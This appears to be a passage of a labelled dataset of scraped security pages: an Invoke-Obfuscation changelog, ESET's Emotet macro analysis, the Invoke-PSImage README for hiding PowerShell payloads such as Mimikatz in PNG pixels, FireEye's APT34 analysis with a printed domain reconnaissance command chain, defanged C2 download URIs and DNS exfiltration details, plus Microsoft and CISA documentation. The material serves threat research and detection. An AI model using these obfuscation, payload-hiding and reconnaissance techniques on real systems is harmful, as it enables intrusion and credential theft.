(3). v1.5 - 2016-11-04 Blue Hat (Redmond, Washington USA): Added WMIC LAUNCHER with some randomization of WMIC command line arguments. v1.6 - 2017-01-24 Blue Hat IL (Tel Aviv, Israel): Added CLI functionality: E.g., Invoke-Obfuscation -ScriptBlock {Write-Host 'CLI FTW!'} -Command 'Token\\All\\1, Encoding\\1,Launcher\\Stdin++\\234,Clip' -Quiet -NoExit Added UNDO functionality to remove one layer of obfuscation at a time. Removed Whitespace obfuscation from Token\\All\\1 to speed up large script obfuscation. Added Process Argument Tree output for all launchers to aid defenders. Added base menu auto-detect functionality to avoid needing to use BACK or HOME: E.g., if you ran TOKEN then ALL then 1, then just type LAUNCHER and you will get to the LAUNCHER menu without needing to type HOME or BACK to get back to the home menu. Added multi-command syntax utilized by CLI and interactive mode: E.g., Token\\All\\1,String\\3,Encoding\\5,Launcher\\Ps\\234,Clip Added regex capability to all menu and obfuscation commands: E.g., Token**,String[13],Encoding(1|6),Launcher.*[+]{2}\\234,Clip Added OUT FILEPATH single command functionality. Added decoding if powershell -enc syntax is entered as a SCRIPTBLOCK value. Added alias ForEach to ForEach-Object/% randomized syntax options in all ENCODING functions. Added -Key -Ke -K KEY substring syntax options to Out-SecureStringCommand.ps1. Added more thorough case randomization to all \\Home\\String obfuscation functions. Added -ST/-STA (Single-Threaded Apartment) flags to CLIP+ and CLIP++ launcher functions since they are required if running on PowerShell 2.0. Added Get-Item/GI/Item syntax everywhere where Get-ChildItem is used to get variable values. Added Set-Item variable instantiation syntax to TYPE obfuscation function. Added additional Invoke-Expression/IEX syntax using PowerShell automatic variables and environment variable value concatenations in Out-ObfuscatedStringCommand.ps1's Out-EncapsulatedInvokeExpression function and copied to all launchers, STRING and ENCODING functions to add numerous command-line syntaxes for IEX. Added two new JOIN syntaxes for String\\Reverse and all ENCODING obfuscation options: Added [String]::Join('',$string) JOIN syntax Added OFS-variable JOIN syntax (Output Field Separator automatic variable) Added two more SecureString syntaxes to Encoding\\5: PtrToStringAnsi / SecureStringToGlobalAllocAnsi PtrToStringBSTR / SecureStringToBSTR Added six GetMember alternate syntaxes for several SecureString members: PtrToStringAuto, ([Runtime.InteropServices.Marshal].GetMembers()[3].Name).Invoke PtrToStringAuto, ([Runtime.InteropServices.Marshal].GetMembers()[5].Name).Invoke PtrToStringUni , ([Runtime.InteropServices.Marshal].GetMembers()[2].Name).Invoke PtrToStringUni , ([Runtime.InteropServices.Marshal].GetMembers()[4].Name).Invoke PtrToStringAnsi, ([Runtime.InteropServices.Marshal].GetMembers()[0].Name).Invoke PtrToStringAnsi, ([Runtime.InteropServices.Marshal].GetMembers()[1].Name).Invoke Updated Out-ObfuscatedTokenCommand.ps1 so that VARIABLE obfuscation won't encapsulate variables in ${} if they are already encapsulated (so ${${var}} won't happen as this causes errors). Replaced Invoke-Obfuscation.psm1 with Invoke-Obfuscation.psd1 (thanks @Carlos_Perez). Fixed several TOKEN-level obfuscation bugs reported by @cobbr_io and @IISResetMe. v1.7 - 2017-03-03 nullcon (Goa, India): Added 3 new LAUNCHERs: RUNDLL, RUNDLL++ and MSHTA++ Added additional ExecutionContext wildcard variable strings v1.8 - 2017-07-27 Black Hat (Las Vegas, Nevada USA): Added 2 new ENCODING options: Special Characters and Whitespace v1.8.1 - 2017-12-19: Added COMPRESS function for easier conversion of multi-line scripts to a one-liner command while drastically reducing the command length for cmd.exe command line length limitation purposes. v1.8.2 - 2018-01-04: Added AST obfuscation functions, which obfuscates by manipulating the structure of the AbstractSyntaxTree without using many special characters. \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Analysis of the latest Emotet propagation campaign | WeLiveSecurity In English Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Menu toggle menu All Posts Latest Research How To Videos Podcasts Conference Materials White Papers Magazine Our Experts Em Portugu\xc3\xaas En fran\xc3\xa7ais En Espa\xc3\xb1ol In Deutsch Award-winning news, views, and insight from the ESET security community Analysis of the latest Emotet propagation campaign An analysis of the workings of this new Emotet campaign, which has affected various countries in Latin America by taking advantage of Microsoft Office files to hide its malicious activity Diego Perez 28 Dec 2018 - 01:01PM Share An analysis of the workings of this new Emotet campaign, which has affected various countries in Latin America by taking advantage of Microsoft Office files to hide its malicious activity In November, we issued warnings about a\xc2 huge new spam campaign which was being used to propagate Emotet. Considering the scale of the attack in some Latin American countries and the fact that we received numerous inquiries about it over the last few days, we decided to publish a brief explanation of how this propagation campaign worked. In recent years we have seen how cybercriminals have\xc2 taken advantage of the Microsoft Office suite to propagate their threats, from simple macros embedded in files to the exploitation of vulnerabilities. On this occasion though, the implementation is a little unusual, consisting of a downloader incorporated into an Office file. This caused confusion among many users, who asked us to explain how the threat works. The propagation began with an email message, which had nothing particularly special about it. As seen in Figure\xc2 1, it was pretty much the kind of email we are used to seeing in these campaigns. \xc2 Figure 1 \xe2\x80\x93 A typical email from this Emotet campaign As we might expect, if the user decides to download the email attachment and open the document, it asks them to enable the macros.\xc2 Again, as is usual, some justification for this requirement is provided. Figure 2 shows that in this case it is implied this is necessary because the document was created using Office 365, but really it is so it can execute a function embedded in the file. Figure 2 \xe2\x80\x93 Request to enable the document\xe2\x80\x99s macros Clearly, this behavior is already known to be malicious. However, the trick used by the cybercriminals in this campaign has several unusual features. If you opt to look at the macro, you find that it is not very big and at first glance, it does not seem to be one of those known macros that try to connect to a website to download some content\xe2\x80\xa6 or is it? Figure 3 \xe2\x80\x93 The unusually compact VBA macro code in these documents Looking at the macro, what stands out clearly is that its function is to read text from an object. But where is the object located? After searching for it, it turns out that there is an all-but-imperceptible object in the page. If you look closely at the top-left of the page in Figure 2, you will see what appears to be a very small, square, solid, black box. If you expand that, you can see what it contains. Figure 4 \xe2\x80\x93 Expanding the tiny object in the page to expose its contents Effectively, this text box contains a \xe2\x80\x9ccmd\xe2\x80\x9d command, which launches a PowerShell script that tries to connect to five sites and then download the payload, which in this case is an obfuscated variant of Emotet. As we have discussed in previous posts (for example, in this post from November 9), once the payload is executed, it establishes persistence on the computer and reports its success to its C&C server. Having completed this initial infection, further downloads can occur, installing attack modules and secondary payloads which carry out other kinds of actions on the compromised computer. The various additional modules extend the range of malicious activities that can compromise the user\xe2\x80\x99s device, in order to steal credentials, propagate itself on the network, harvest sensitive information, carry out port forwarding, and many other possibilities. Though not at all a new technique, this small change in the way Emotet\xe2\x80\x99s action is hidden within the Word file demonstrates how sneaky cybercriminals can be when it comes to concealing their malicious activity and trying to compromise user information. Staying in the know about the kinds of techniques they might use is always going to give the defenders an advantage in identifying these malicious campaigns. Diego Perez 28 Dec 2018 - 01:01PM Similar Articles Spam \xe2\x80\x9cLove you\xe2\x80\x9d malspam gets a makeover for massive Japan-targeted campaign Spam Russia hit by new wave of ransomware spam Spam Unboxing Linux/Mumblehard: Muttering spam from your servers Spam Twitter awash in miracle diet pills spam onslaught Discussion Home About Us Contact Us Sitemap Our Experts ESET Research How To Categories RSS Configurator News Widget Privacy policy Legal Information Copyright \xc2\xa9 ESET, All Rights Reserved Back to top","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"GitHub - peewpw/Invoke-PSImage: Embeds a PowerShell script in the pixels of a PNG file and generates a oneliner to execute Skip to content Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up Watch 84 Star 1,262 Fork 259 peewpw/Invoke-PSImage Code Issues 2 Pull requests 1 Projects 0 Security Insights Dismiss Join GitHub today GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up Embeds a PowerShell script in the pixels of a PNG file and generates a oneliner to execute 10 commits 1 branch 0 releases Fetching contributors MIT PowerShell PowerShell 100.0% Branch: master New pull request Find File Clone or download Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Downloading... Want to be notified of new releases in peewpw/Invoke-PSImage? Sign in Sign up Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode... If nothing happens, download Xcode and try again. Go back Launching Visual Studio... If nothing happens, download the GitHub extension for Visual Studio and try again. Go back peewpw Update Invoke-PSImage.ps1 \xe2\x80\xa6 Removed unnecessary whitespace from one liner Latest commit 18b1daf Apr 18, 2018 Permalink Type Name Latest commit message Commit time Failed to load latest commit information. images Delete folderplz Dec 17, 2017 Invoke-PSImage.ps1 Update Invoke-PSImage.ps1 Apr 18, 2018 LICENSE Initial commit Dec 17, 2017 README.md Update README.md Dec 17, 2017 README.md Invoke-PSImage Embeds a PowerShell script in the pixels of a PNG file and generates a oneliner to execute Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web (when the -Web flag is passed). The least significant 4 bits of 2 color values in each pixel are used to hold the payload. Image quality will suffer as a result, but it still looks decent. The image is saved as a PNG, and can be losslessly compressed without affecting the ability to execute the payload as the data is stored in the colors themselves. It can accept most image types as input, but output will always be a PNG because it needs to be lossless. Each pixel of the image is used to hold one byte of script, so you will need an image with at least as many pixels as bytes in your script. This is fairly easy\xe2\x80\x94for example, Invoke-Mimikatz fits into a 1920x1200 image. Arguments -Script [filepath] The path to the script to embed in the Image. -Image [filepath] The image to embed the script in. -Out [filepath] The file to save the resulting image to (image will be a PNG) -Web Output a command for reading the image from the web instead of reading from a file. You will need to host the image and insert the URL into the command. Example Create an image with the script ""Invoke-Mimikatz.ps1"" embeded in it and output a oneliner to execute from disk: PS>Import-Module .\\Invoke-PSImage.ps1 PS>Invoke-PSImage -Script .\\Invoke-Mimikatz.ps1 -Image .\\kiwi.jpg -Out .\\evil-kiwi.png [Oneliner to execute from a file] Create an image with the script ""Invoke-Mimikatz.ps1"" embeded in it and output a oneliner to execute from the web (you still have to host the image and edit the URL): PS>Import-Module .\\Invoke-PSImage.ps1 PS>Invoke-PSImage -Script .\\Invoke-Mimikatz.ps1 -Image .\\kiwi.jpg -Out .\\evil-kiwi.png -Web [Oneliner to execute from the web] Executing an image hosted on the web: \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Targeted Attacks against Banks in the Middle East | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research Targeted Attacks against Banks in the Middle East Threat Research Targeted Attacks against Banks in the Middle East May 22, 2016 | by Sudeep Singh, Yin Hong Chang | Targeted Attack Cybersecurity Advanced Threats Targeted Attacks targeted attackers Targeted Attack Email Security Targeted Attack Threat Intel Advanced Targeted Attack Bank security Cybercrime Advanced Threat Actor Email Attacks UPDATE (Dec. 8, 2017): We now attribute this campaign to APT34, a suspected Iranian cyber espionage threat group that we believe has been active since at least 2014. Learn more about\xc2 APT34\xc2 and their late 2017 targeting of a government organization in the Middle East. Introduction In the first week of May 2016, FireEye\xe2\x80\x99s DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region. The threat actors appear to be performing initial reconnaissance against would-be targets, and the attacks caught our attention since they were using unique scripts not commonly seen in crimeware campaigns. In this blog we discuss in detail the tools, tactics, techniques and procedures (TTPs) used in these targeted attacks. Delivery Method The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East. The themes of the messages used in the attacks are related to IT Infrastructure such as a log of Server Status Report or a list of Cisco Iron Port Appliance details. In one case, the content of the email appeared to be a legitimate email conversation between several employees, even containing contact details of employees from several banks. This email was then forwarded to several people, with the malicious Excel file attached. Macro Details The macro first calls an Init() function (shown in Figure 1) that performs the following malicious activities: Extracts base64-encoded content from the cells within a worksheet titled ""Incompatible"". Checks for the presence of a file at the path %PUBLIC%\\Libraries\\ update.vbs. If the file is not present, the macro creates three different directories under %PUBLIC%\\Libraries, namely up, dn, and tp. The extracted content from step one is decoded using PowerShell and dropped into two different files: pdate.vbs and %PUBLIC%\\Libraries\\dns.ps1 The macro then creates a scheduled task with name: GoogleUpdateTaskMachineUI, which executes update.vbs every three minutes. Note: Due to the use of a hardcoded environment variable %PUBLIC% in the macro code, the macro will only run successfully on Windows Vista and subsequent versions of the operating system. Figure 1: Macro Init() subroutine Run-time Unhiding of Content One of the interesting techniques we observed in this attack was the display of additional content after the macro executed successfully. This was done for the purpose of social engineering \xe2\x80\x93 specifically, to convince the victim that enabling the macro did in fact result in the \xe2\x80\x9cunhiding\xe2\x80\x9d of additional spreadsheet data. Office documents containing malicious macros are commonly used in crimeware campaigns. Because default Office settings typically require user action in order for macros to run, attackers may convince victims to enable risky macro code by telling them that the macro is required to view \xe2\x80\x9cprotected content.\xe2\x80\x9d In crimeware campaigns, we usually observe that no additional content is displayed after enabling the macros. However, in this case, attackers took the extra step to actually hide and unhide worksheets when the macro is enabled to allay any suspicion. A screenshot of the worksheet before and after running the macro is shown in Figure 2 and Figure 3, respectively. Figure 2: Before unhiding of content Figure 3: After unhiding of content In the following code section, we can see that the subroutine ShowHideSheets() is called after the Init() subroutine executes completely: Private Sub Workbook_Open() \xc2 \xc2 \xc2 Call Init \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Call ShowHideSheets End Sub The code of subroutine ShowHideSheets(), which unhides the content after completion of malicious activities, is shown in Figure 4. Figure 4: Macro used to unhide content at runtime First Stage Download After the macro successfully creates the scheduled task, the dropped VBScript, update.vbs (Figure 5), will be launched every three minutes. This VBScript performs the following operations: Leverages PowerShell to download content from the URI hxxp://go0gIe[.]com/sysupdate.aspx?req=xxx\\dwn&m=d and saves it in the directory %PUBLIC%\\Libraries\\dn. Uses PowerShell to download a BAT file from the URI hxxp://go0gIe[.]com/sysupdate.aspx?req=xxx\\bat&m=d and saves it in the directory %PUBLIC%\\Libraries\\dn. Executes the BAT file and stores the results in a file in the path p. Uploads this file to the server by sending an HTTP POST request to the URI pl&m=u. Finally, it executes the PowerShell script dns.ps1, which is used for the purpose of data exfiltration using DNS. Figure 5: Content of update.vbs During our analysis, the VBScript downloaded a customized version of Mimikatz in the previously mentioned step one. The customized version uses its own default prompt string as well as its own console title, as shown in Figure 6. Figure 6: Custom version of Mimikatz used to extract user password hashes Similarly, the contents of the BAT file downloaded in step two are shown in Figure 7: whoami & hostname & ipconfig /all & net user /domain 2>&1 & net group /domain 2>&1 & net group ""domain admins"" /domain 2>&1 & net group ""Exchange Trusted Subsystem"" /domain 2>&1 & net accounts /domain 2>&1 & net user 2>&1 & net localgroup administrators 2>&1 & netstat -an 2>&1 & tasklist 2>&1 & sc query 2>&1 & systeminfo 2>&1 & reg query ""HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default"" 2>&1 Figure 7: Content of downloaded BAT script This BAT file is used to collect important information from the system, including the currently logged on user, the hostname, network configuration data, user and group accounts, local and domain administrator accounts, running processes, and other data. Data Exfiltration over DNS Another interesting technique leveraged by this malware was the use of DNS queries as a data exfiltration channel. This was likely done because DNS is required for normal network operations. The DNS protocol is unlikely to be blocked (allowing free communications out of the network) and its use is unlikely to raise suspicion among network defenders. The script dns.ps1, dropped by the macro, is used for this purpose. In the following section, we describe its functionality in detail. The script requests an ID (through the DNS protocol) from go0gIe[.]com. This ID will then be saved into the PowerShell script. Next, the script queries the C2 server for additional instructions. If no further actions are requested, the script exits and will be activated again the next time update.vbs is called. If an action is required, the DNS server replies with an IP with the pattern 33.33.xx.yy. The script then proceeds to create a file at %PUBLIC%\\Libraries\\tp\\chr(xx)chr(yy).bat. The script then proceeds to make DNS requests to fetch more data. Each DNS request results in the C2 server returning an IP address. Each octet of the IP address is interpreted as the decimal representation of an ASCII character; for example, the decimal number 99 is equivalent to the ASCII character \xe2\x80\x98c\xe2\x80\x99. The characters represented by the octets of the IP address are appended to the batch file to construct a script. The C2 server signals the end of the data stream by replying to a DNS query with the IP address 35.35.35.35. Once the file has been successfully transferred, the BAT file will be run and its output saved as %PUBLIC%\\Libraries\\tp\\chr(xx)chr(yy).txt. The text file containing the results of the BAT script will then be uploaded to the DNS server by embedding file data into part of the subdomain. The format of the DNS query used is shown in Table 1. The BAT file and the text file will then be deleted. The script then quits, to be invoked again upon running the next scheduled task. The DNS communication portion of the script is shown in Figure 8, along with a table showing the various subdomain formats being generated by the script. Figure 8: Code Snippet of dns.ps1 Format of subdomains used in DNS C2 protocol: Subdomain used to request for BotID, used in step 2 above [00][botid]00000[base36\xc2 random\xc2 number]30 Subdomain used while performing file transfers used in step 3 above [00][botid]00000[base36\xc2 random\xc2 number]232A[hex_filename][i-counter] Subdomain used while performing file upload, used in step 5 above [00][botid][cmdid][partid][base36\xc2 random\xc2 number][48-hex-char-of-file-content] Table 1: C2 Protocol Format Conclusion Although this attack did not leverage any zero-days or other advanced techniques, it was interesting to see how attackers used different components to perform reconnaissance activities on a specific target. This attack also demonstrates that macro malware is effective even today. Users can protect themselves from such attacks by disabling Office macros in their settings and also by being more vigilant when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources. Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Installing and Registering a Password Filter DLL - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Installing and Registering a Password Filter DLL 05/31/2018 2 minutes to read In this article You can use the Windows password filter to filter domain or local account passwords. To use the password filter for domain accounts, install and register the DLL on each domain controller in the domain. Perform the following steps to install your password filter. You can perform these steps manually, or you can write an installer to perform these steps. You need to be an Administrator or belong to the Administrator Group to perform these steps. To install and register a Windows password filter DLL Copy the DLL to the Windows installation directory on the domain controller or local computer. On standard installations, the default folder is \\Windows\\System32. Make sure that you create a 32-bit password filter DLL for 32-bit computers and a 64-bit password filter DLL for 64-bit computers, and then copy them to the appropriate location. To register the password filter, update the following system registry key: HKEY_LOCAL_MACHINE \xc2 \xc2 \xc2 SYSTEM \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 CurrentControlSet \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Control \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Lsa If the Notification Packages subkey exists, add the name of your DLL to the existing value data. Do not overwrite the existing values, and do not include the .dll extension. If the Notification Packages subkey does not exist, add it, and then specify the name of the DLL for the value data. Do not include the .dll extension. The Notification Packages subkey can add multiple packages. Find the password complexity setting. In Control Panel, click Performance and Maintenance, click Administrative Tools, double-click Local Security Policy, double-click Account Policies, and then double-click Password Policy. To enforce both the default Windows password filter and the custom password filter, ensure that the Passwords must meet complexity requirements policy setting is enabled. Otherwise, disable the Passwords must meet complexity requirements policy setting. Related topics Password Filter Programming Considerations Strong Password Enforcement and Passfilt.dll Password Filter Functions \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Skip to main content Toggle navigation US Department of Homeland Security CISA Cyber + Infrastructure National Cyber Awareness System Current Activity Landing SMB Security Best Practices SMB Security Best Practices Original release date: January 16, 2017 | Last revised: March 16, 2017 Print Document Tweet Like Me Share In response to public reporting of a potential Server Message Block (SMB) vulnerability, US-CERT is providing known best practices related to SMB. This service is universally available for Windows systems, and legacy versions of SMB protocols could allow a remote attacker to obtain sensitive information from affected systems. US-CERT recommends that users and administrators consider: disabling SMBv1 and blocking all versions of SMB at the network boundary by blocking TCP port 445 with related protocols on UDP ports 137-138 and TCP port 139, for all boundary devices. US-CERT cautions users and administrators that disabling or blocking SMB may create problems by obstructing access to shared files, data, or devices. The benefits of mitigation should be weighed against potential disruptions to users. For more information on SMB, please review Microsoft Security Advisories 2696547 and 204279. This product is provided subject to this Notification and this Privacy & Use policy. Was this document helpful? Yes | Somewhat | No Latest Alerts Microsoft Operating Systems BlueKeep Vulnerability Monday, June 17, 2019 New Exploits for Unsecure SAP Systems Thursday, May 2, 2019 DNS Infrastructure Hijacking Campaign Thursday, January 24, 2019 More Alerts \xc2\xbb Recent Vulnerabilities VU#672565: Exim fails to properly handle peer DN and SNI in TLS handshakes Friday, September 13, 2019 at 9:58 AM VU#918987: Bluetooth BR/EDR supported devices are vulnerable to key negotiation attacks Tuesday, September 3, 2019 at 9:13 AM VU#605641: HTTP/2 implementations do not robustly handle abnormal traffic and resource exhaustion Tuesday, September 3, 2019 at 9:40 AM VU#489481: Cylance Antivirus Products Susceptible to Concatenation Bypass Thursday, August 1, 2019 at 1:20 PM VU#790507: Oracle Solaris vulnerable to arbitrary code execution via /proc/self Wednesday, July 17, 2019 at 6:27 AM More Vulnerability Notes \xc2\xbb Contact Us phone icon(888)282-0870 email iconSend us email lock iconDownload PGP/GPG keys Subscribe to Alerts Receive security alerts, tips, and other updates. Enter your email address Enter your email address twitter iconrss icon Home Site Map FAQ Contact Us Traffic Light Protocol PCII Accountability Disclaimer DHS Privacy Policy FOIA No Fear Act Accessibility Plain Writing Plug-ins Inspector General The White House USA.gov CISA is part of the Department of Homeland 